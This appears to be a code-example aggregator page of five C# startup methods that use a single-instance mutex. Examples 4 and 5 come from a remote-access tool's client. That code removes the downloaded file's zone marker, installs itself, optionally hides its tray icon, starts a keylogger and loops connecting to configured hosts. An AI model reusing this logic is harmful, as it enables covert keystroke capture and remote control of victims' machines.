コード例 #1
0
 static void Main()
 {
     try
     {
         using (SingleInstanceMutex sim = new SingleInstanceMutex())
         {
             if (sim.IsOtherInstanceRunning)
             {
                 MessageBox.Show(CommonMessage.APPLICATION_IS_RUNNING,
                                 "Running...",
                                 MessageBoxButtons.OK,
                                 MessageBoxIcon.Stop);
                 Application.Exit();
             }
             else
             {
                 Application.EnableVisualStyles();
                 Application.SetCompatibleTextRenderingDefault(false);
                 Application.Run(new GlobalForm());
             }
         }
     }
     catch (Exception)
     {
         throw;
     }
 }
コード例 #2
0
ファイル: Program.cs プロジェクト: Invisi/Blish-HUD
        static void Main()
        {
            if (IsMoreThanOneInstance())
            {
                return;
            }
            //Console.WriteLine(System.Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData, Environment.SpecialFolderOption.Create));

            // TODO: Implement for error logging in released versions
            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;

#if SENTRY
            const string SENTRY_DSN = "https://e11516741a32440ca7a72b68d5af93df@sentry.do-ny3.svr.gw2blishhud.com/2";

            using (SentrySdk.Init(
                       o => {
                o.Dsn = new Dsn(SENTRY_DSN);
                o.Release = APP_VERSION;
                o.Environment = APP_VERSION.Contains("-") ? APP_VERSION.Split('-')[1].Split('.')[0] : APP_VERSION;
                o.Debug = true;
                o.BeforeSend = sentryEvent => {
                    /* TODO: Confirm that this filters correctly - consider filtering more details and
                     * move it all to it's own function */
                    sentryEvent.LogEntry.Message = sentryEvent.LogEntry.Message.Replace(Environment.UserName, "<SENTRY-FILTERED-OUT-USERNAME>");
                    sentryEvent.Message = sentryEvent.Message.Replace(Environment.UserName, "<SENTRY-FILTERED-OUT-USERNAME>");

                    return(sentryEvent);
                };
            })) {
                SentrySdk.ConfigureScope(
                    scope => {
                    // Want to try and gauge what kind of language support we'll want to provide in the future
                    scope.SetTag("locale", CultureInfo.CurrentCulture.DisplayName);

                    // Try to avoid accidentally pulling their user account name (since it could have their real name in it)
                    scope.SetTag("start-dir", Directory.GetCurrentDirectory().Replace(Environment.UserName, "<SENTRY-FILTERED-OUT-USERNAME>"));
                });

                using (var game = new Overlay())
                    game.Run();
            }
#else
            using (var game = new Overlay())
                game.Run();
#endif

            SingleInstanceMutex.ReleaseMutex();
        }
コード例 #3
0
		static void Main()
		{
			_id = Native.RegisterWindowMessage("Something_ShowInstance");
		
			if (_id == 0U)
			{
				Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
			}
		
			if (SingleInstanceMutex.WaitOne(TimeSpan.Zero, true))
			{
				// ...
			}
			else
			{
				Native.PostMessage(
					(IntPtr)HWND_BROADCAST,
					_id,
					IntPtr.Zero,
					IntPtr.Zero));
			}
		}
コード例 #4
0
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                Application.Exit();
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                Application.Exit();
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                    Application.Exit();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (!Settings.UNATTENDEDMODE)
                {
                    InitializeNotifyicon();
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                _connectClient              = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                _connectClient.ClientState += ConnectClientOnClientState;
                InitializeMessageProcessors(_connectClient);

                _userActivityDetection = new ActivityDetection(_connectClient);
                _userActivityDetection.Start();

                new Thread(() =>
                {
                    // Start connection loop on new thread and dispose application once client exits.
                    // This is required to keep the UI thread responsive and run the message loop.
                    _connectClient.ConnectLoop();
                    Application.Exit();
                }).Start();
            }
        }
コード例 #5
0
        /// <summary>
        /// Begins running the application.
        /// </summary>
        public void Run()
        {
            // decrypt and verify the settings
            if (!Settings.Initialize())
            {
                return;
            }

            ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);

            // check if process with same mutex is already running on system
            if (!ApplicationMutex.CreatedNew)
            {
                return;
            }

            FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);

            var installer = new ClientInstaller();

            if (IsInstallationRequired)
            {
                // close mutex before installing the client
                ApplicationMutex.Dispose();

                try
                {
                    installer.Install();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }
            }
            else
            {
                try
                {
                    // (re)apply settings and proceed with connect loop
                    installer.ApplySettings();
                }
                catch (Exception e)
                {
                    Debug.WriteLine(e);
                }

                if (Settings.ENABLELOGGER)
                {
                    _keyloggerService = new KeyloggerService();
                    _keyloggerService.Start();
                }

                var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
                ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
                InitializeMessageProcessors(ConnectClient);

                _userActivityDetection = new ActivityDetection(ConnectClient);
                _userActivityDetection.Start();

                ConnectClient.ConnectLoop();
            }
        }